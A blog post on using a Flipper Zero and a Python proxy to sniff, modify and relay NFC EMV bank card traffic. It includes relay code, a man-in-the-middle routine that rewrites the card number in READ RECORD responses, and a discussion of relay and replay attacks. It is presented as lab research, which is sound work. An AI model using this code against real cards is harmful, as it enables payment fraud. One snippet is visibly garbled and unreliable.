DEV Community

Cover image for Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks
Guillaume VINET
Guillaume VINET

Posted on

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

In our previous post, we explored how the Flipper can function as both an NFC contactless card reader and an NFC card emulator. When we combine these two functionalities, a range of potential attack scenarios on card-reader transactions comes to light:

  • Is it possible to sniff the communication?, meaning intercepting and monitoring data exchanged between two devices without altering it
  • Can a man-in-the-middle (MitM) attack be performed? Specifically, could we intercept and alter the communication between the card and the reader, injecting or modifying data in real time?
  • Is my card vulnerable to a relay attack? One attacker, positioned near the card, communicate with it and relays the commands/responses to an accomplice near the reader, resulting in tricking the reader into processing a transaction as if the card were present. This enables unauthorized transactions, even if the card is not at all close to the terminal.

In this post, we will address these three questions in detail.

1- What we want to achieve?

What we want to achieve?

The diagram above (available in higher quality here) illustrates the setup we aim to establish for testing the various attacks described earlier.

  1. There is A phone with an application that is intended to read data from a bank card.
  2. The phone communicates with the Flipper Zero, which operates in card emulation mode.
  3. The Flipper Zero is connected to a PC, which forwards the received commands to a PC/SC reader connected to it.
  4. The PC/SC reader sends the commands to the real bank card.
  5. The real card processes the commands and responds, with the responses traveling back the same way: through the PC/SC reader, the PC, and finally to the phone.
  6. Meanwhile, our Python script running on the PC intercepts these commands and responses, allowing for real-time modifications to the data as it passes through.

Previously, we offloaded all the data processing logic to a Python script running outside the Flipper. This approach eliminates the need to update or upload new firmware whenever we want to make changes. However, a question arises: will this Python proxy introduce latency that could disrupt the communication and cause it to fail?

Flipper zero with python proxy

Before answering this question, let's take a look at the Python scripts we will use to set up this configuration.

2 - Python scripts preparation

In the previous blog post, we covered the two main components of this setup:

  • Emulating a card using a Flipper Zero.
  • Using a PC/SC reader to communicate with a card.

Now, it's simply a matter of linking the two together. What exactly are we talking about?

  • When the Flipper detects a field, the reader must power up the card.
  • Conversely, when the Flipper detects the field has been turned off, the reader must cut the power to the card.
  • The Flipper is responsible for managing TPDU communication. This is because a PC/SC reader only handles commands at the TPDU level:
    • Once the Flipper receives a complete APDU, it sends it to the reader.
    • The reader forwards the command to the actual card and then relays the card's response back to the Flipper.
    • The Flipper processes this response and transmits it in TPDU format.

These requirements for the reader led to the creation of the abstract Reader class, described below. Additionally, we introduced a method to establish a connection with the reader.

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass
Enter fullscreen mode Exit fullscreen mode

Next, we create a minimalist PCSCReader class below to interact with a PC/SC reader.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp
Enter fullscreen mode Exit fullscreen mode

Now, we can move on to the implementation of the card emulator, referred to as Emu, as shown below. It accepts an optional Reader object as a parameter. If provided, it establishes a connection with the reader.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()
Enter fullscreen mode Exit fullscreen mode

Next, we define three methods to communicate events to the reader: turning the field off, turning the field on, and sending an APDU.

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)
Enter fullscreen mode Exit fullscreen mode

Next, we improved the method responsible for managing card emulator command communication at the TPDU level. Notably, when a complete APDU command is received, the process_apdu method is called to forward it to the reader and retrieve the response from the actual card.

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Enter fullscreen mode Exit fullscreen mode

Finally, we implement the method used to initiate card emulation from the Flipper Zero.

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()
Enter fullscreen mode Exit fullscreen mode

The Python scripts are ready; now let's take a look at the hardware setup we will use to test them.

3 - Experiment conducted in our garage

Below is our small replication of an attack environment. From left to right, we have:

  • An Android phone running an application for reading NFC banking cards. In our case, it's NFC-EMV-Reader (available at GitHub - NFC-EMV-Reader). While somewhat outdated, it works perfectly for demonstration purposes. This device simulates a terminal attempting to communicate with an NFC card. It is not connected to any other device.
  • The Flipper Zero, which acts as the NFC card emulator. It is connected to a computer (not visible in the image).
  • The PC/SC reader, also connected to the computer.
  • The actual NFC banking card, representing the real card being targeted in this setup.

Attack environment

Perfect, we now have all the necessary components to carry out the attacks! Let's fight!

Let's fight!

4 - Communication sniffing

We can first attempt sniffing, meaning the APDU commands/responses from the Flipper are forwarded to the card, without any modification.

This works perfectly and remains stable, with the Python code acting as an intermediary having no noticeable impact! If the Python proxy adds too much latency and the terminal starts whining about the card being too slow, we’ve got a fix for that. Something I haven’t gotten around to implementing (yet):

  • It’s a TPDU command called a Wait-Time Extension (WTX).
  • The card sends this command when it needs extra time to perform a resource-intensive operation, such as cryptography.
  • The reader interprets this as a signal that the card is still processing, and the terminal responds with an acknowledgment.
  • In theory, the card can send as many WTX commands as it wants.

Below is an extract of a log.

  • the card has been powered on (field off/field on)
  • The terminal attempts to select the card application using an APDU SELECT command: 00a4040007d276000085010100. Here, the application identifier (commonly named AID) is d2760000850101. When reviewing the list of card AIDs on EFTLab's comprehensive AID database, we find that this AID corresponds to a German NDEF Tag Application, implemented on an NXP chip.
  • This application is not present on the card, so the card responds with the two-byte status word 6A82, indicating that it does not recognize the requested application.
field off
tpdu < on
field on
tpdu < E0803173
>>> rtdpu 0A788082022063CBA3A0

tpdu < 0200A4040007D27600008501010035C0
i block
apdu cmd: 00a4040007d276000085010100
apdu resp: 6a82
>>> rtdpu 036a82
Enter fullscreen mode Exit fullscreen mode

In fact,a card can have hundreds of different applications installed on it, each with its own unique AID. A terminal does not attempt to try them all one by one. This is why, in the contactless banking domain, there is a specific application present on all cards designed to indicate the banking applications available on the card. Its AID is 325041592e5359532e4444463031, which translates to ASCII as 2PAY.SYS.DDF01.

Later in the communication, we can see this application being called (as shown below). Therefore, the previous selection of the application with AID D2760000850101, as discussed earlier, seems unusual.

tpdu < 0200A404000E325041592E5359532E444446303100E042
i block
apdu cmd: 00a404000e325041592e5359532e444446303100
apdu resp: 6f57840e325041592e5359532e4444463031a545bf0c42611b4f07a0000000421010500243428701019f2808400200000000000061234f07a0000000041010500a4d4153544552434152448701029f280840002000000000009000
>>> rtdpu 126f57840e325041592e5359532e444446
Enter fullscreen mode Exit fullscreen mode

When parsing the response, you can see that it indicates (among other details) the presence of an application with the AID A0000000041010, which corresponds to MasterCard.

Thus, the phone eventually selects this application.

Afterward, it retrieves various details from the card, including the Primary Account Number (PAN). The number displayed on the card matches the one shown on the terminal, confirming that our relay attack, which relies on simple sniffing, is successful!

card and application match

Of course, tools like the Proxmark make sniffing much simpler, but why make it simple when you can make it complicated ;) ?

5 - Man-in-the-middle

Now, let’s move on to the man-in-the-middle attack. This means we won’t just listen to the communication but actively alter it. One interesting use case could be modifying the card number, for instance, changing 5132 to 6132.

Referring back to the logs from our previous communication, we can see that these data are transmitted in plaintext. They are retrieved from the card using READ RECORD commands like 00B2010C00 and 00B2011400.

Since the data is unencrypted and lacks integrity protection, we can modify them as desired. To implement this, we simply update the process_apdu method in our PCSCReader class to handle the alteration.

# class Emu(Iso14443ASession):
    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")

        if data.hex() == "00b2010c00":
            # Thankfully, the bank card has been expired for 10 years :)
            resp = bytes.fromhex("... 6132...")
        elif data.hex() == "00b2011400":
            # Thankfully, the bank card has been expired for 10 years :)
            resp = bytes.fromhex(
                "...6132...6132...")
        else:
            data, sw1, sw2 = self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp
Enter fullscreen mode Exit fullscreen mode

And as shown in the image below, the application is completely unaware of the modification!

Man-in-the-middle

Why it works? The answer is in the image below describing the different communication layers:

  • At the bottom, the underlying technology, ISO-14443, handles the physical layer communication. The flipper zero exchanges the data according to this specification.
  • Then, we have the TPDUs. Data is exchanged in TPDUs, protected by a public CRC only for integrity. Finally, we have the APDU layer, which consists of the commands and responses from the card application. There are three possible levels of protection:
    1. No Protection: Commands and responses have neither integrity nor confidentiality safeguards. This is the case in our setup, making it very easy to modify the communication.
    2. Partial Encryption: Either the command or the response is partially encrypted. This is seen in some NFC banking commands, where a cryptogram is included to validate the communication's authenticity.
    3. Full Encryption: Both the command and response are fully encrypted, providing complete protection. However, this is not implemented in EMV cards.

Communication layers

We can also have some fun... Since I made the modifications hastily, I occasionally altered the data randomly. In one instance, as shown in the image below, this caused the application to display a massive block of characters for the card number, even though it’s supposed to be limited to 16 digits!

application fuzzing

This opens up some interesting possibilities for fuzzing experiments.

6 - Relay attack

As mentioned at the start of this blog post, a relay attack consists in intercepting and relays communication between two parties (e.g., an NFC card and a terminal) without altering it, tricking the terminal into believing it is communicating with the legitimate card in real time.

relay attack

A hacker wants to make a payment on Terminal. He relay the terminal's communication to an accomplice near a victim, who then communicates with the victim's card without his knowledge.

The previous experiment demonstrated that this attack is feasible in a controlled environment, like a garage. However, in real-world scenarios, there are additional challenges to consider.

  • Close Proximity Required: Attackers must stay near the card. So, during COVID, with social distancing, it was super convenient, obviously.
  • Accomplice at POS: A second person is needed near the terminal.
  • Low-Latency & reliable Communication: Delays in relaying signals can lead to failure, and reliable communication is critical for success. To address these challenges, another type of attack can be used: the replay attack.
    • The attacker communicates with the victim's card as though they are the legitimate terminal, recording the card's response.
    • The attacker then replays the recorded response to the terminal.
    • While the use of random data in the terminal's commands can prevent replay attacks, randomness is sometimes less robust than it appears. However, exploring this vulnerability is beyond the scope of this blog.

One of the primary countermeasures against relay attacks is measuring the timing of the communication, as the relay introduces noticeable delays. However, the older EMV protocol does not include commands to facilitate such timing checks.

Conclusion

We've reached the end of this blog post. I hope you enjoyed the content! The Python code and the modified Flipper Zero firmware are available on my GitHub.

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

Top comments (0)